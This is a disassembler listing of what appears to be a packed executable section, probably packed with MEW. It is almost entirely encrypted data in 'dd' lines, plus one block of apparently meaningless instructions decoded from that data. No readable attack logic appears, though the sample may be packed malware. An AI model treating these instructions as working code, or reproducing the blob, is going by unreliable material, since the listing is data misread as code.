		dd 8A75496Ch, 412F8AD8h, 0E6EF1907h, 969D56EAh,	3A81549Bh
		dd 6B8956Dh, 0C22E1E6Eh, 62B25922h, 0A48F49F3h,	311DD5D4h
		dd 0FFB694C1h, 0BBE161D7h, 0A85080F4h, 0B067127Ch, 622142B9h
		dd 0B3B5710Ch, 55642079h, 0FB47BAFFh, 4B5D1BAFh, 159F152Ah
		dd 0FBE8FB95h, 4095CB62h, 545F84DBh, 0E98420D6h, 49659F9h
		dd 0E031F06Eh, 5428E8BCh, 563F0EB7h, 94AE902Ch,	0D393A6E5h
		dd 56C5454Fh, 0F94B7F99h, 33F8B633h, 98DF77Bh, 2D31DF85h
		dd 7402E8FEh, 219E6CECh, 8E7B0B1Eh, 224300Ch, 77A12209h
		dd 6E29CF2Bh, 0B9606951h, 67C71328h, 5BF0194Ch,	0AD4D390Eh
		dd 41282DD0h, 0CA4594E2h, 2EE2EE3h, 0A32E647Ah,	7A2792ABh
		dd 40FB3A5Ah, 0A433E302h, 0FF08FDDFh, 590F6829h, 0C627104Fh
		dd 202AF6CCh, 9DE85F9h,	0FB9CA86Dh, 84D05C5Eh, 787EF8Eh
		dd 95536F2Dh, 52D78BE2h, 0D7F6581h, 13D2EDD3h, 0A7E7D34Dh
		dd 0D4E2048Dh, 0E069BD12h, 9C33A5E9h, 11A378A9h, 0CC14B171h
		dd 583B45Bh, 543DD188h,	25C74406h, 0DC5061FFh, 1E0B4810h
		dd 15163712h, 2E83F36Ch, 7D2763E6h, 0A4FAEB3Ah,	4A167846h
		dd 3679ACACh, 0B2BA9108h, 0C28AC85h, 7C72C814h,	2FD1C112h
		dd 9F652B4Fh, 76D7FFADh, 7E7161F4h, 0EE5A6C66h,	165A9090h
		dd 854A3E01h, 542FB9C5h, 69A4AF67h, 0DFBC8327h,	340A389Eh
		dd 0A9EA2D04h, 9F1F1F0Eh, 418A0256h, 6000002Fh,	0DAE3AA4Dh
		dd 0C4550AE8h, 81D4CC91h, 0F2C8D6B9h, 9B1FB8D3h, 0B42C83FAh
		dd 0ABA405BBh, 3A80C655h, 77261B57h, 11D4871Eh,	0A15FD1F6h
		dd 255E4B52h, 0E02B0909h, 0DF6DFFCEh, 6B972B9Dh, 0D177A77Ah
		dd 411DED49h, 4E002113h, 52282805h, 5E302552h, 0F24B41E7h
		dd 40E4B6BFh, 0D74C8391h, 9461DD36h, 6961CB3Eh,	3FA13A67h
		dd 6511EC2Eh, 0E878B18h, 65AAA655h, 0A1E7842h, 0C3E46571h
		dd 65EACAC8h, 5F747307h, 1F1EE37Fh, 0CA81440h, 0A761ADD7h
		dd 2E7F73Dh, 125AA8F6h,	6CA1E2DBh, 8F37F873h, 4B5800F8h
		dd 0BC9916D2h, 75E44C4Dh, 0F17816F8h, 0E1AEA8D7h, 0CCD30779h
		dd 0AF356611h, 0C4F5287Dh, 1E9ABC0Bh, 0A16FB505h, 9461DFBFh
		dd 0F03CE655h, 341BABA8h, 362512A6h, 0B81CFE07h, 12EA11CDh
		dd 0FC7E21DDh, 4BC5D524h, 9F3298FCh, 36E5BC2h, 7E75F5A1h
		dd 920D5A61h, 0B3BD99E1h, 49E51305h, 0A8C66E20h, 0FF2D75D1h
		dd 0F7AF06E2h, 0E0698824h, 0C3A7CA63h, 6568CF24h, 0F7189CA6h
		dd 46DFFFA3h, 0D8EDA4BFh, 0F342EAB1h, 0A085C516h, 1F084D59h
		dd 9CE96077h, 0B1ADF5E7h, 0AC2CAF1Ch, 3CF6823h,	68593803h
		dd 3C296E60h, 0DDC84E7Ah, 978DA297h, 0D05F0907h, 0B4921E9Ch
		dd 0DC617C47h, 0BD18FA42h, 0F3486865h, 0E18A4902h, 3CD25B61h
		dd 28C9F556h, 0B75A9C75h, 0BAEEEA10h, 0EA5A399Fh, 0EBCD6C0Dh
		dd 4B82DF78h, 6DE4A185h, 0A3537B31h, 0CB02A5A7h, 19F5EF42h
		dd 37F8C20Ch, 0C02CF2A3h, 0F73D87CAh, 7F8D8E0Eh, 60657C51h
		dd 0E8B6E3DAh, 0EB416994h, 0ACCECC77h, 31A8E47Ch, 0B930CB41h
		dd 2C2576BDh, 6C5C9012h, 4E14123Eh, 693B40ADh, 347BDA6h
		dd 4A7B76Dh, 117435F6h,	0BCC77666h, 0C5DC1015h,	81220954h
		dd 5D5CC8D0h, 2977306Ch, 0D69F038Bh, 2774B8Dh, 698B161h
		dd 0D0462681h, 0F718B8DAh, 50CE0DC2h, 0FD0179EAh, 15A4C0B4h
		dd 0D5C7A788h, 6AAA5B6h, 55535FB7h, 654C7592h, 3AD07EEAh
		dd 0C9487368h, 0E54528E7h, 16C6A4B8h, 0D12D0F96h, 0F660AECDh
		dd 9752666Dh, 3296C7DAh, 0BC486C2Eh, 0E21A321Ch, 6AB59C15h
		dd 902E84FEh, 31BA6139h, 7D10A6D2h, 4EE6F016h, 9F337048h
		dd 0A529BDBFh, 47B0E6E9h, 7B4C7309h, 19B0CEAh, 0B09A39EDh
		dd 11BE4AE5h, 0FA17ADF4h, 3DCFEE0Eh, 0B4536450h, 9D3AAAACh
		dd 0D6A06F62h, 516305C2h, 0DB7159F8h, 0EC9C7015h, 5ABE6895h
		dd 95317ACEh, 23A100CAh, 8CD3612Dh, 0D229E81Eh,	0D2CC4726h
		dd 359F36CBh, 567BCD6Ch, 8045CA5Eh, 1C51ED67h, 329DFBFCh
		dd 7848F9ABh, 8ABBEF3Ah, 0A3C3EBCEh, 89219F6Eh,	5393786h
		dd 1E7C7F25h, 0BB930713h, 0E70389ABh, 0DD27859h, 0AA16DFCAh
		dd 0E40A7A28h, 0FDFF1BB6h, 443F1F9Bh, 90489DAEh, 23768CEAh
		dd 0AE54E03Bh, 652BAF44h, 0DCD18A89h, 0A26DB7Ch, 0D7AB206Ch
		dd 16FD3E44h, 1498FEB0h, 0C7225260h, 0B21787FBh, 927C61E9h
		dd 0EDE2BB8Ah, 27019CD0h, 5BDC6622h, 1A10526h, 0F86748A2h
		dd 20B7D8E4h, 827BB250h, 88906547h, 1F217823h, 9825CC52h
		dd 0C90E2D1Fh, 4DB0B2EDh, 0D4E485ECh, 672DBB3h,	0DF9F145h
		dd 0FA43840Ch, 3779E22Eh, 1D48FB25h, 7C9E5878h,	0A3E18A2Bh
		dd 93B97117h, 0BCD23DD9h
		dd 8CFCE498h, 21F52C3Dh, 0EFD02852h, 43085C2Dh,	710C65A7h
		dd 0F9752E79h, 0C34FDFC1h, 0DECDE713h, 0BED48C06h, 6BF5310Eh
		dd 918A1B8Dh, 23743663h, 0D21D5C95h, 5E5EDED2h,	23D841Fh
		dd 62C9A1B9h, 3A04CFE9h, 49C706AAh, 0A3A636A3h,	70E25876h
		dd 5B0AB5F2h, 3FFBC5Fh,	7DBBB9h, 0D853AC4Ch, 28FC6611h
		dd 0D75FB1D4h, 151CD737h, 0F20A4650h, 7AB8C247h, 65E842BDh
		dd 31492B44h, 1C992E0Dh, 0AF0DC989h, 0A205C44h,	676CB7EFh
		dd 42DCFBE7h, 58E235DBh, 116F3937h, 0FB31A9CCh,	0F83C2B32h
		dd 0F432F90Fh, 1F0F88B6h, 0A23EE0CBh, 0EF00E67Bh, 633E92E3h
		dd 0CE2493FBh, 0DC5F3A91h, 49964EB0h, 0B5972D2Ch, 1996FBC6h
		dd 0EA02B1B0h, 0AFA7B0C1h, 73BAE04Eh, 7A54BA1Ch, 0DF228EE1h
		dd 94030CC5h, 5A647CF8h, 0E8B3C1A9h, 0B6C5703Fh, 0A399335Fh
		dd 296C4767h, 0EB6A5FBEh, 7982C111h, 72475568h,	4D2A8676h
		dd 9015ADFAh, 0A95AA420h, 170943Fh, 0A926DFECh,	2EA248E8h
		dd 754D3217h, 0E05330E5h, 383CA89Dh, 0BDBE8A44h, 0C60BFD13h
		dd 51271917h, 0F88087BDh, 0B508DDC4h, 1E4B0084h, 7FB1086Ch
		dd 0F797F808h, 8DEBED35h, 0F351BC29h, 0ABE596DCh, 9CB6B641h
		dd 0ED805BBDh, 74870E74h, 0DFB5B6CAh, 0CAA0A5C2h, 9B2AE396h
		dd 70B20CF0h, 764CB99Eh, 6190E950h, 94B207BEh, 0AA9F48A2h
		dd 13D55DF5h, 1DF4ACEAh, 0F54B1CB6h, 908B1051h,	7A64ACC7h
		dd 48956B70h, 56A8B867h, 0A4C8C706h, 0C495A627h, 36F8D371h
		dd 0FE73D76Fh, 0C2872F36h, 0F8A55189h, 0FB01D1AAh, 0F53877F7h
		dd 6A2CB05Ch, 7BE0E9D7h, 9BCBC6B1h, 0E9B8EB08h,	0E2848EF0h
		dd 0A62144C0h, 4257523Eh, 0B15773FCh, 31A57F2Fh, 0BDF00C7Ah
		dd 1C8F6A40h, 0F2CF66FFh, 943AFA0Dh, 981C26EBh,	0D77E9E2Ah
		dd 0C1346513h, 921DCA46h, 0B6AE991Ch, 678EB588h, 0BF174496h
		dd 0BAA1A869h, 902B6D7Ch, 0FFC7C2EAh, 6F4A8A8Fh, 0CED9F599h
		dd 28EEA50Eh, 43C18679h, 4FAAF61Eh, 7B8DA5FCh, 0AAA53833h
		dd 0F23E8ADh, 6950A94Fh, 0F8B73812h, 3CACC77Bh,	0B94F0038h
		dd 0DD086269h, 68F493BEh, 715BCD57h, 0A5DE0FDFh, 0F408DF2Ch
		dd 0BD960DF4h, 525E7159h, 0EB11E8B0h, 5D03A5FAh, 0C4E1C2C7h
		dd 8C9B248Dh, 0B38806E8h, 0ED41AA36h, 819DA372h, 0CFF16EDBh
		dd 68DE189Eh, 8F984050h, 0B8E7C091h, 0B718A030h, 1BB930C6h
		dd 2B0532BDh, 0A10996B7h, 77C43A3h, 0F2875AA8h,	0F00592D5h
		dd 0B29AD848h, 11D26B88h, 0CDA110BAh, 0F86F0307h, 3B8F6345h
		dd 0A76F8581h, 0ED981B01h, 8E23368Ah, 51AD8973h, 4397DA4Ch
		dd 3429AEF5h, 0CAD3B94Ah, 0EC288264h, 60CCB278h, 0DFD631D1h
		dd 0CE02C79Bh, 24E1C143h, 7F0C1DBEh, 7DE2E505h,	566D5FD0h
		dd 0B135DDC3h, 3F7FBC5Eh, 8C866D4Eh, 5FE60DC2h,	2DADCC4Bh
		dd 0FDBB3AA5h, 63085E7Dh, 33AB1FF4h, 5DE6304Ch,	88EAA2B7h
		dd 4459C798h, 0FC2820D4h, 0F4D19D9Ah, 0BCF82406h, 0A9F39642h
		dd 677746B4h, 176A832Ch, 83F4DCD8h, 6FFFD42Eh, 0F1ED38E0h
		dd 50764AF7h, 52B73030h, 4E9E3117h, 0B5E158D2h,	5B6169DCh
		dd 6880C577h, 6876444Dh, 5E234061h, 398FA57h, 3CC46943h
		dd 8A7B2F53h, 0CF11FDD6h, 0F226041Fh, 0BDD4FD34h, 9B801DC0h
		dd 0C3C88AFFh, 0CAE7631Fh, 95687BD9h, 10E5F19Ah, 76184707h
		dd 0DBEF162h, 272CBCFDh, 6BC8C323h, 0FDE7790Bh,	0C3E6911Dh
		dd 0FF548EFCh, 7313B2E4h, 5FE47096h, 0C157EA30h, 8D127897h
		dd 25437812h, 386F5D1Dh, 0FD382847h, 28D7FB11h,	0F6738179h
		dd 3E065EBBh, 0F8307569h, 72BE4169h, 29C30949h,	0B62217D9h
		dd 4C7394Dh, 0B6182242h, 0AF04193Bh, 0F582A108h, 0CE09D97Ch
		dd 3282A1E4h, 5EABBE2Fh, 1A643EA0h, 43040AFBh, 16B07187h
		dd 0D8D75808h, 932B6A6Dh, 99EE689Dh, 0D11CE4Ch,	74485EDAh
		dd 0BEED3EF7h, 4A60EE83h, 38F107DBh, 67965377h,	2CA38376h
		dd 0FAB06295h, 704C277Dh, 46360900h, 0F722281h,	6CBCE7B8h
		dd 0DD99A338h, 4092BC67h, 52968B98h, 4A9541E6h,	7682F21Bh
		dd 95F9109Bh, 0D03B95ECh, 46F55874h, 0E1E6A983h, 0CBAC3E7h
		dd 45F1DD6Fh, 0ECAC563h, 0C9BCDEC9h, 0A869446Eh, 0BFE96CB5h
		dd 95C55633h, 0FDBFDA0Fh, 19A4D918h, 0A7100F47h, 4F5B92E8h
		dd 0BFE59C64h, 911756CBh, 66A33C2Ah, 7502B953h,	113F454Eh
		dd 0BE21DFCBh, 0FB7C6544h, 0CC935C72h, 0E90AF466h, 4FAF65EFh
		dd 0C28D752h, 7033FC76h, 0A886CC01h, 2EDB25ABh,	16CFA65Ch
		dd 278B7A71h, 0D0497372h, 0D61BBEE5h, 0ADD1EF3h, 90C85A6Fh
		dd 46DEF9C2h, 0DAAA8A2Eh, 176481D8h, 260C0899h,	0C13B4A6h
		dd 5502465Bh, 6239810Dh, 56DD7C63h, 0D3B6478Fh,	229CE9BDh
		dd 0E0C9C3FEh, 5F44D8A1h, 0C0D8C2CFh, 8778C6E1h, 86ED629Ah
		dd 0B88BEFEAh, 5DB75738h, 1442F851h, 11D49B1Bh,	0B76D84EFh
		dd 6BF75446h, 312F7CFCh, 7D4E0384h, 2B77413Fh, 0A6E43E55h
		dd 6C3B4E67h, 602E5A17h, 0C5CD800Ah, 85586A2Fh,	0C405EB85h
		dd 0FFE39C58h, 760CEEC5h, 0CC2B8BB7h, 0E78BE16Ah, 693A5B8Bh
		dd 98343A54h, 1902A266h, 0ADFD3F43h, 72610F4h, 0C28AF6FAh
		dd 0FBCD8CD3h, 0E4B1B06Fh, 9934802Bh, 37FD1B9Eh, 8A6BAFFFh
		dd 2D6310B0h, 79200CFDh, 0D18C2137h, 7F57DE81h,	6DC8EB69h
		dd 32AA0CD5h, 0F59135D0h, 0C49C5AC9h, 0ADA3AB99h, 4D9166A6h
		dd 2EF464F1h, 70C3FB4Ah, 0FE766D2Ah, 0BCCB3783h, 6ED01D0Ch
		dd 0D79CA10Dh, 20EF529Ch, 9E1A0EA3h, 0BE692F94h, 0D79169D0h
		dd 554C88C2h, 34E77025h, 0F85D132Fh, 6BE05A4h, 0DDE58503h
		dd 9E6673B8h, 17C53EEDh, 9CEE0118h, 0ADC462D0h,	0B378F0A5h
		dd 0A21C5B4Ah, 0C44EB339h, 8273123Dh, 71D1CEE3h, 0BEFD55BFh
		dd 243E36C9h, 41A152AFh, 609A7135h, 0AFD8333Eh,	13DD3FB6h
		dd 0AB06DCB2h, 2D9C7AFAh, 0A597EF95h, 21B20278h, 4DAD2DD0h
		dd 7AF48E41h, 0F29C922Ch, 7D5CA0EBh, 9EAEE5Ch, 8B25EE1Dh
		dd 77576244h, 0E27AF892h, 0C9B9C01Ch, 76C81CA0h, 1E833C4Ch
		dd 0CD64EF3Ch, 42395D71h, 0CA063893h, 0A04A9CC6h, 0BEFF830Fh
		dd 5274F686h, 18F91D11h, 0A4E237CDh, 0AE3D3969h, 0A238AF4Dh
		dd 8A153F9Eh, 7F0E94E0h, 0DB3672A9h, 0DF372B4Ch, 0CE70E53Ch
		dd 5926B231h, 7E090F04h, 34191A29h, 4D17FFB4h, 0AA56F224h
		dd 0DEDFEF92h, 0A02BA603h, 44A0B1ABh, 112A2FEAh, 4B307A4Bh
		dd 119F6A46h, 0E7C26536h, 0DC50CAB6h, 98026BDAh, 0C6811618h
		dd 0B70AE27Ah, 0EF11D5A4h, 3239DF65h, 628EC243h, 554E2313h
		dd 0A3BA434h, 65847604h, 0B310F130h, 91788D02h,	6143C04Ch
		dd 5199760Fh, 0FFE83292h, 6520472Dh, 7A7EDDD8h,	339DA284h
		dd 0A5719F99h, 0FFFAA5Ah, 33DEAB41h, 32A898DAh,	0E4D58BE8h
		dd 10A74173h, 5CA72DFCh, 4FA58790h, 4DE8D6DAh, 8A3ABAC0h
		dd 152DE8C3h, 0DCE5D503h, 0E6E9163h, 0E9BE6CABh, 87934EB9h
		dd 0FDD9149Ah, 3C6DFA73h, 0B0C7A42Eh, 5A60B2D3h, 9B9BCF51h
		dd 0E5362E3Ch, 0A1CE57D8h, 0E6CA5D63h, 69A8B9F8h, 438EC76h
		dd 86E2F9C2h, 103D6F44h, 0D6BA7352h, 7AD80F0h, 0C5916B3Ch
		dd 487094CBh, 1C19A1FBh, 0DD0ABF3Ah, 6F2ED094h,	0D288C9A3h
		dd 8106DF95h, 6F17B924h, 0BA52A7D2h, 9B25C621h,	0CCCA5241h
		dd 586FFE90h, 0A4A81A3Bh, 7264DE6Ah, 0B01BC112h, 40D84B79h
		dd 9BD4628Bh, 4A39803Fh, 47D73766h, 7DFB95E4h, 0C2AF3039h
		dd 0E577CF8Dh, 80716F71h
		dd 0AD713963h, 5690D4D0h, 3E1C107Fh, 71044B41h,	0FC703EEEh
		dd 6C6FF556h, 9D8A7B8Ah, 1E1D3B9Ch, 439A6825h, 9EDF34A4h
		dd 8015F208h, 60DCE22Ah, 0DD259D07h, 7825E450h,	37510FF7h
		dd 0A91E93C0h, 0D908B114h, 1555207Ah, 0CE14D34Bh, 0A34AE08Ah
		dd 7D750676h, 3B6B8C2Dh, 953D6279h, 1B179E1Dh, 659CC1C7h
		dd 0C5C44E20h, 62470E42h, 0A56077CDh, 44EFDAD1h, 7C3515CAh
		dd 7268CF41h, 25D5315Ch, 47F78672h, 189A2995h, 752A1091h
		dd 3C9A15B0h, 4EE3666Ch, 6D007A49h, 9DA94D27h, 7796D0E5h
		dd 976B9025h, 0D92DDE5Ch, 3DFB3A2Ch, 4A60293Bh,	0CEB5649Bh
		dd 6B2535AFh, 1541D81Ch, 0E20D8336h, 0FD22AF2Eh, 75602914h
		dd 0E8B368C6h, 0CC00A0Dh, 7F75398h, 0F03D2178h,	3DD4EF67h
		dd 6408234Bh, 145C9539h, 0D0D488FDh, 0AEBF0C7Ch, 57D0C09h
		dd 0F81ED10Bh, 0D56250ABh, 0ACB1B14Ch, 0D77A0AD7h, 0D7FF8C5Dh
		dd 0B54484F5h, 9762C7EFh, 1FFF1A72h, 6C90B816h,	6A028818h
		dd 42811E48h, 664C00B6h, 760E73AEh, 5F8DBCDCh, 64DB0C8Eh
		dd 779AF675h, 0EAD1901Dh, 389C1C14h, 0BEC90087h, 76C5C887h
		dd 954A103Fh, 1DDBBC19h, 0EB9360DBh, 0A64F4C37h, 0F2655B68h
		dd 34CBFCC1h, 0EA02B25Fh, 0AE5BE29h, 40B911B0h,	420B734Eh
		dd 7A3BE374h, 564BA8BDh, 0B145CCEEh, 0F26A1B6Ah, 0B1B9774Dh
		dd 2E0AEA39h, 79FF1A93h, 0E4489CBAh, 46845C42h,	0C4487772h
		dd 728708B4h, 0BBC76EF6h, 7BF60419h, 5CB60EB8h,	46ABF2CAh
		dd 0DE0119A2h, 37B4998Dh, 0EDF52554h, 652451FEh, 6159FDA7h
		dd 8693DCA6h, 0FC267AB1h, 7FAA04D1h, 0F8125AF8h, 0B8974464h
		dd 490EE9E0h, 38AA6130h, 886009D6h, 0FB14D978h,	67800FFFh
		dd 0ECF852B6h, 0C9B916D5h, 82BB3E5Bh, 46BB7547h, 0BB99B53Ch
		dd 5E2AA257h, 68EB7CB9h, 57116DA8h, 16182AD5h, 0ADB5984Fh
		dd 0D3CE1EE7h, 0D552C96Ch, 0FA6B03BFh, 988E22EDh, 77CEF7B8h
		dd 0A179A1CEh, 0CB9E7EE2h, 0F4523C44h, 96D6765Dh, 6A88E6A0h
		dd 0FE9CEE2Fh, 92C8CD4h, 0E081CDC0h, 2C89BC67h,	0F1048AF4h
		dd 0E1A11797h, 0A2CEAB74h, 0F3B96F78h, 0F99385A2h, 0C4FED665h
		dd 0D2A10369h, 0D447CB9Ch, 13BE45Dh, 0A6A73497h, 0C4E3C0E7h
		dd 4650040Fh, 0DB3EDE89h, 4CC3BFEAh, 68E0C003h,	43EE4904h
		dd 6FC54EB7h, 0DADD4546h, 538401B4h, 0B10CEBBDh, 0EF9BF30Bh
		dd 0B0FE564Dh, 0B8325794h, 3850A24Eh, 4563F231h, 414EDA17h
		dd 3A09C9ACh, 61670DAh,	859783BDh, 1E79F59Ah, 1535AEE7h
		dd 0F124A7BBh, 494BFD8Eh, 18CA8CA8h, 956830C8h,	3136F317h
		dd 193851BEh, 8ABE9FF8h, 40775E47h, 0F673D87Ah,	88F1E2CFh
		dd 0E07C9A93h, 5622F976h, 0B6867B1Ch, 0CE3BDFA2h, 0A1F0E4CDh
		dd 0EAABC119h, 69707461h, 9C5631F2h, 3477A848h,	4EFC57E4h
		dd 99D756DFh, 2B58B5A5h, 618857B6h, 1B49F80Fh, 5814307h
		dd 9125EAF5h, 0F4F9535Ah, 6E15FAD1h, 0A9FDE5DAh, 0EC8AEDFBh
		dd 0E6B70264h, 0F81A3628h, 6821978Ch, 0E1DB6E65h, 0DB3D4C8Ah
		dd 691D42FEh, 0F84FC5EFh, 0AD794769h, 370793B4h, 0C1A22924h
		dd 0C3C45DBh, 0BB7E07C0h, 401D15A6h, 98B3CF30h,	3AEEF316h
		dd 99301387h, 0AAA6A40Fh, 0AC8814E2h, 107FF0Ch,	0D0A4957Bh
		dd 37D827B8h, 560532EAh, 0FC7BEB4Bh, 0E84BC3BFh, 0B2EB5FDEh
		dd 0A5316621h, 1E0F8F4Fh, 0C92CA48Ch, 0F4EFEB91h, 83EF6CD5h
		dd 50F9D365h, 4B8FBF44h, 0FFCE079h, 70AA6ADEh, 0D8D0BD4Ch
		dd 701EB9EAh, 0F4DB2B12h, 4C2A3E06h, 0CD8A8B18h, 7FC48681h
		dd 0D0451594h, 66A4F15Eh, 0EBAEF3C4h, 20BFEE06h, 0F703E976h
		dd 3C28F9DBh, 440530A3h, 10EDF57Dh, 0ACD619A5h,	4E4A9B04h
		dd 0D118F872h, 0D91734C2h, 411CCFDBh, 0F83AD00Eh, 63F2282Ah
		dd 708EF93Fh, 6D735C6h,	344F6E4Bh, 0F3CD59D5h, 64CFBACDh
		dd 66195D95h, 0AC97292Bh, 2D7255E1h, 0B404CD36h, 0CC7AC646h
		dd 5B740647h, 2DDABF35h, 46AAD4E1h, 0AFC3B706h,	6DD4A8E1h
		dd 0E6BB3EB2h, 0A89C3DD4h, 0A45DED1Bh, 0CE5CD276h, 0ABBC0B9Ah
		dd 35926E2Ch, 4426CB7Bh, 0B4EBAF8Eh, 89DB3DA1h,	8E116773h
		dd 0E826BEC6h, 3EDD1D2h, 1D6D7E04h, 4FC5918Fh, 1D1DD852h
		dd 563E42ACh, 0E806C50Eh, 7F13E7F4h, 14F5B27Ah,	5C2D93F6h
		dd 5F84BEE9h, 0DB6AA9E4h, 19245B76h, 76A9C0F1h,	382C9DE6h
		dd 3B5312AAh, 0EEEDA748h, 80E56B80h, 0A9A68F28h, 0BB1F63CFh
		dd 0EED992E2h, 8C225254h, 1CBF7214h, 6A1FC7BBh,	554A1998h
		dd 0CF53C80Ch, 0BCEAF5B3h, 0E0E0786Ah, 0D330A448h, 5B623EB9h
		dd 0B0250773h, 796A26A8h, 8692CA97h, 915DDFA4h,	6A1BBD02h
		dd 2D8ABAC1h, 0EAD4B849h, 215E4FF5h, 0C168514Fh, 91AA2A87h
		dd 70FFEA3h, 208F5EC8h,	0FB7FDA76h, 22A13848h, 0C2FAC5EBh
		dd 97F76BBh, 69A7B99Ch,	0BDB04B36h, 2DED8E4Dh, 491B7151h
		dd 0D2B43656h, 88D683B5h, 2609492Fh, 0C5B933BBh, 0E19545F7h
		dd 3EFE7F45h, 0C0B67F2Dh, 65C515EDh, 7FA5E39Ch,	0CE01E31h
		dd 0BDD2B496h, 801877AAh, 0BDC3C13Fh, 582EECB4h, 0F777CB3Eh
		dd 0D37238D1h, 0D0430B8Ch, 57D65C2h, 8B24B692h,	497D5A45h
		dd 7679C298h, 3D06E932h, 0E2E5B8B6h, 0D8B0A644h, 0B5D417B5h
		dd 8B32853Dh, 4DC9538Ch, 16A3E4B2h, 8FBA000Bh, 9BBFB92h
		dd 5F0D4C58h, 9E09F8D0h, 89EA38D8h, 1E3CE287h, 788E678Dh
		dd 4861BE2Dh, 17424F14h, 0B4ADBC16h, 0CB85615Eh, 0C3554EBDh
		dd 0C971D23Ch, 27357EFEh, 0D09CF9B4h, 68439D95h, 994E2F15h
		dd 0B953163Dh, 8BAB1E73h, 0E40EAB09h, 0DF936BACh, 0ED5555C6h
		dd 7D877070h, 6AE6CDEBh, 0B443A4A8h, 5CBAB182h,	0BA1B9156h
		dd 0DF92BC1h, 0FB9BAC34h, 42EB6A61h, 88B0E157h,	2A3B6D0Bh
		dd 0CB7EE54Eh, 0CE2605EBh, 7191CC8Ah, 65654419h, 0DEB92A43h
		dd 567E2BAAh, 4CDD7FFBh, 2327FB47h, 5F549913h, 4811A091h
		dd 972A2B43h, 200883B7h, 8E256EC5h, 0AD374D6Dh,	0CD9B1B90h
		dd 47A23299h, 559AA998h, 0FA24FBB3h, 907064BFh,	82C30D07h
		dd 5F1D1E75h, 15F21284h, 0A13CEA91h, 4AEB4402h,	0D984C9D7h
		dd 9FACA6A5h, 0E024561Dh, 0DFA305B1h, 0DDF72C0Bh, 464E8E16h
		dd 7C6DF01Fh, 65D2F243h, 71702871h, 9207B33Ah, 79E3EAEEh
		dd 2BA4746Fh, 0F60F6655h, 56CE09B9h, 4C9DEDFFh,	0B8E538A3h
		dd 73F04047h, 0E74F6ACh, 0C6A2477Ah, 4E87E371h,	0A95D3290h
		dd 24525892h, 9CC50699h, 13DA5BD2h, 50794A09h, 7C1B3443h
		dd 4A1D5906h, 7ED2D1D4h, 4146325Ch, 91CE9525h, 9A23D888h
		dd 95FA0EC5h, 81DDDCAEh, 0DC93095Dh, 0E714AE89h, 0F3A0C3F1h
		dd 0E6EFFDC7h, 0F9ADC122h, 0FE80888h, 0A53AD843h, 4C058CEAh
		dd 8380B5C8h, 0A5196B06h, 0ABC79BCh, 3181E9CBh,	3568CBE7h
		dd 0E6924286h, 7E108C06h, 37D164F0h, 828B222Ch,	0E95D2FFCh
		dd 0DB2E460Dh, 0B849653Ch, 3E83F712h, 0EF17D694h, 6B9D7320h
		dd 30AE7310h, 55EF276Dh, 76C6F35h, 66E8FC2Ah, 1A5D2F14h
		dd 0D7368FAh, 9B0F5F5Ch, 0CEDBD81Ch, 98F6C15h, 253A0E9Ch
		dd 0A93C1652h, 99688EB2h, 11C52313h, 6C586C29h,	7BD7600Ah
		dd 0A470ABF4h, 0BB05DC19h, 596CBD1Dh, 9B96C763h, 0B88436BEh
		dd 4EB286D9h, 84FC1213h, 0B2DA24DEh, 51E85AC3h,	0ACFAF900h
		dd 50ECCFDAh, 8F7A7EB7h, 8F382043h, 4D74B6E6h, 1CC77E4h
		dd 7A615DE5h, 4E5E4860h, 65ADFBFh, 971C3CDDh, 98AD347h
		dd 0A16BD584h, 8C55A201h
		dd 0E8A26D7Eh, 0DECD3934h, 734DBE61h, 8BBB2610h, 0BB1E5D59h
		dd 970134AEh, 2E7D4DD6h, 3029CD50h, 797D4EB6h, 75D51BBBh
		dd 0BC04C10Ch, 37BB9D0Ah, 3B97D01Dh, 409BC695h,	61AE037Dh
		dd 6D8E8B2Bh, 0A3840FAAh, 2BB56485h, 0A43F78E6h, 55B2115Dh
		dd 63583F4Dh, 0C253DCDFh, 31F07683h, 0A0314922h, 4833D24Eh
		dd 0F8EA249Fh, 0F5A1983Ch, 2269546Bh, 0B5253B13h, 0F183D4C9h
		dd 51ED0298h, 0C2BE28DBh, 212EDDE4h, 4C457EADh,	1FFD09ACh
		dd 2ACD6369h, 0A74B9A44h, 83F9A27Dh, 0E397E3D3h
		db 0F0h, 22h
; ---------------------------------------------------------------------------


loc_4238BE:				; CODE XREF: MEW:00418D29j
		xor	eax, 6C9CF0A4h
		mov	edi, [edi+748877DFh]
		scasd
		xchg	bh, dl
		movsb
		dec	ecx
		setalc
		pushf
		xor	al, 6
		outsd
		dec	ebp
		lodsb
		cmp	al, 99h
		mov	eax, ds:8E76EB8Fh
		retf
; ---------------------------------------------------------------------------
		db 0DCh, 0FEh, 2Eh
		dd 83387F70h, 0D232B779h, 0EF8567CDh, 0D22744D6h, 35A44CA4h
		dd 0E7FC05FFh, 6933E467h, 44BD0725h, 10342E9Bh,	32EB1280h
		dd 73421h, 2BAD5CDBh, 0A3E1705Ch, 0D21D7DCCh, 3CDC6C9Dh
		dd 2671F551h, 84B74934h, 20C03FDh, 0CD81895h, 9AE9E9E4h
		dd 32B08BDh, 0B7E5280Dh, 0A4BCC105h, 366A7EE3h,	9D39F348h
		dd 5FE27AE0h, 504BA3FDh, 494D59E8h, 40AA4187h, 0DC66A014h
		dd 1D50A0C0h, 417F08F1h, 1A7B7AD4h, 0E0A811C5h,	38453EAAh
		dd 1934DA77h, 1A730A69h, 2B83223Dh, 6A4D911Ah, 5A88C837h
		dd 9FCEA4C5h, 94A7455h,	7567467Fh, 0D6D8B7E3h, 0B8C21B6Eh
		dd 0CC19BFh, 0C926680Ah, 94814A88h, 730ECEE5h, 9DDA70C6h
		dd 169A6D2Fh, 0B5401FD6h, 20E72A25h, 0FB6B6514h, 0DE575637h
		dd 0F72D351Ch, 0EBC0006Ch, 0F4800A3Ch, 3A49501Eh, 0B137AB08h
		dd 273DFF12h, 0D1B92625h, 66007C7Ch, 9B165D68h,	0A1EDB8DAh
		dd 1D9E7CB2h, 7F257C73h, 2009759Dh, 5F8F177Eh, 0AF7FB6B8h
		dd 193F3805h, 3DC26713h, 1585A7A0h, 8C4C212Eh, 5F645E67h
		dd 26033865h, 43414F28h, 9FD98F1Eh, 0BBBD6F33h,	253DC5EFh
		dd 0EA741242h, 0A8A9BB0Ah, 836751AEh, 0C694DF8Eh, 1B102858h
		dd 695C933Ch, 0DABB4E1Fh, 4CBFFBBEh, 97F1FA3Ch,	84FD4768h
		dd 0E6F81026h, 0DDF3408Bh, 99824630h, 3ED690DBh, 9B74A5BCh
		dd 0A8191A92h, 0EF5CAFEh, 0CB864DF5h, 35B2BD8Dh, 263CD3CCh
